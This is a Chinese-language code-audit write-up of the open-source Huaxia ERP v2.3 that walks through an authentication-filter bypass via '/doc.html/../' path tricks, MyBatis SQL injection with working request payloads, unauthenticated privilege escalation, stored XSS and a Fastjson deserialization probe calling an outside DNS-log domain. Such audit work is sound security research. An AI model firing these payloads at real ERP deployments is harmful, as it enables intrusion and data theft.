【Java代码审计】华夏-ERPv2.3
一、环境搭建
1、下载:下载地址(v2.3版本):Releases · jishenghua/jshERP
2、导入IDEA中,在设置中配置java 环境为1.8,越低越好吧,我是用的是1.8.0_65
3、在MySQL数据库新建jsh_erp
数据库
4、导入docs/jsh_erp.sql
数据文件
5、在application.properties
配置文件中修改MySQL数据库地址端口和账号密码
6、更新加载pom.xml
配置文件
7、运行ErpApplication.java
文件,启动项目。启动成功会出现访问地址和端口,以及账号的账号密码
二、审计准备
先大致浏览下整个项目的大致结构和配置信息
1、pom.xml 配置信息
使用了1.2.55 版本的fastjson,具备fastjson 反序列化的版本要求
1 | <dependency> |
除此之外还是用了2.10.0 版本的log4j
1 | <dependency> |
不过这个版本是不存在漏洞的,可以去maven 的官网查看
数据库使用了MyBatis
1 | <dependency> |
2、filter 配置
先看 doFilter 函数内容
1、从session中提取user 参数的值,如果不为null,则跳过认证,这里是没有问题的
1 | //具体,比如:处理若用户未登录,则跳转到登录页 |
2、如果访问的url 中包含 /doc.html
、/register.html
、/login.html
,这些字符串,则不进行认证。
这样其实是不严格的,如果url 长这样呢:/doc.html/../home.html
,怕会出现未授权访问阿
1 | if (requestUrl != null && (requestUrl.contains("/doc.html") || |
3、第三部分少有点绕,总结如下:
访问.css、.js、.jpg、.png、.gif、.ico、/user/login、/user/registerUser、/v2/api-docs
这些内容的时候也不需要认证。同样不严格,如:.css/../home.html
,同样存在未授权
1 | if (verify(ignoredList, requestUrl)) { |
4、最后如果用户没有权限,则跳转到登录页
1 | servletResponse.sendRedirect("/login.html"); |
三、SQL注入漏洞
在pom.xml
文件中看到使用的是Mybatis ,所以我们按照Mybatis 的审计思路来
在mapper
文件夹下搜索$
符号,尽量查找跟用户有关的操作
1 | <select id="selectByConditionUnit" parameterType="com.jsh.erp.datasource.entities.UnitExample" resultMap="com.jsh.erp.datasource.mappers.UnitMapper.BaseResultMap"> |
回溯搜索selectByConditionUnit
,只有一个接口和一个用法
我们一路往上找,这里注意看,不要被迷惑,,转换成了由传递过来的map 控制name 的值
1 | public final static String SEARCH = "search"; |
在往上来到这里,变成了两个参数控制
1 | public List<?> select(String apiName, Map<String, String> parameterMap)throws Exception { |
这个select 在往上找,就来到了最后的controller 层
我们先在面临的问题是apiName是什么?具体的逻辑在这里
1 | @Service |
apiName
的值会从configComponentMap
这个变量中获取,而这个变量在init
函数中被put 压入数据。
具体的内容是:service下每个文件夹对应一个apiName
有兴趣的师傅可以跟一下,本人由于水平有限,这里就不跟了
而我们一开始回溯搜索的selectByConditionUnit
实现方法就是在service\unit\UnitService.java
,所以这里我们需要的apiName 的值就是unit
那么我们正向总结一下:
- 访问的接口原本是:/{apiName}/list
- 这里apiName 是unit
- 需要传入参数有三个:
pageSize
、currentPage
、search
- 我们主要的点在search这里
结合未授权访问 构造请求:
1 | http://127.0.0.1:8081/unit/list?pageSize=¤tPage=&search=jsh' and sleep(3)--+ |
emm,出现异常,且并没有延迟3s,接着再次捋一下整个过程,问题出现在如下:
1 | private List<?> getUnitList(Map<String, String> map)throws Exception { |
那这个name值获取过程到底是什么样的?如下
1 | public static String getInfo(String search, String key){ |
也就是说,我们传入的search 参数内容应该是一个json 内容,修改payload:
1 | http://127.0.0.1:8081/unit/list?search=/unit/list?search=%7B%22name%22%3A%22jsh%27%20or%201%3D1--%2B%22%7D&pageSize=10¤tPage=1&pageSize=10¤tPage=1 |
当然还有更多的SQL注入漏洞,但是整体思路都差不多
四、水平越权漏洞
那么伴随的就是我们的越权漏洞,依然拿上面这个SQL注入漏洞来举列子
在上方的SQL注入演示中 ,我们是通过登陆进入后台访问接口造成的SQL注入漏洞,如果我们不登陆,能否依然触发这个SQL注入漏洞呢?
可以看到,当我们去掉cookie 的内容之后,我们将重定向到登录页,这是正常的逻辑。
但如果我们使用上面filter 分析出来的未授权会如何呢?
且看,我们此时没有cookie内容,即没有登陆状态,依然造成SQL注入,访问出来了数据库中的数据
造成这一切的“幕后黑手”就是/doc.html/..
。因为在filter 的逻辑中,如果URL中包含doc.html 内容,就不进行认证,直接放行
而这个越权造成的后果实在太大了,大到可以直接拥有管理员的权限。如:修改密码、增加用户等。
其他的越权示例不再复现,原理一样
五、存储型XSS
在前端html 目录中搜索有关/add
增加的功能页
有一个增加用户的功能点,先增加一个用户
然后修改用户名
成功弹框
为什么先增加再修改,而不是直接增加就添加payload呢?增加的时候限制较多,不如先增加再修改
但有一个前提是拥有登陆后台的高权限
六、Fastjson 反序列化漏洞
之前看 pom.xml
配置文件的时候就发现 项目使用的1.2.55 版本的fastjson 的漏洞,高低得整他两下
我们先手工测试需要开启AutoType 的方法,在SQL注入的时候就发现一处fastjson 反序列化,在这里开启AutoType
1 | public static String getInfo(String search, String key){ |
那我们就顺着SQL注入的链子来到这里,这个search 正好是我们进行SQL注入传递的json 格式
修改我们SQL注入的payload 为
1 | {"@type":"java.net.Inet4Address","val":"3.b3925eed5a.ipv6.1433.eu.org"} |
直接未授权打入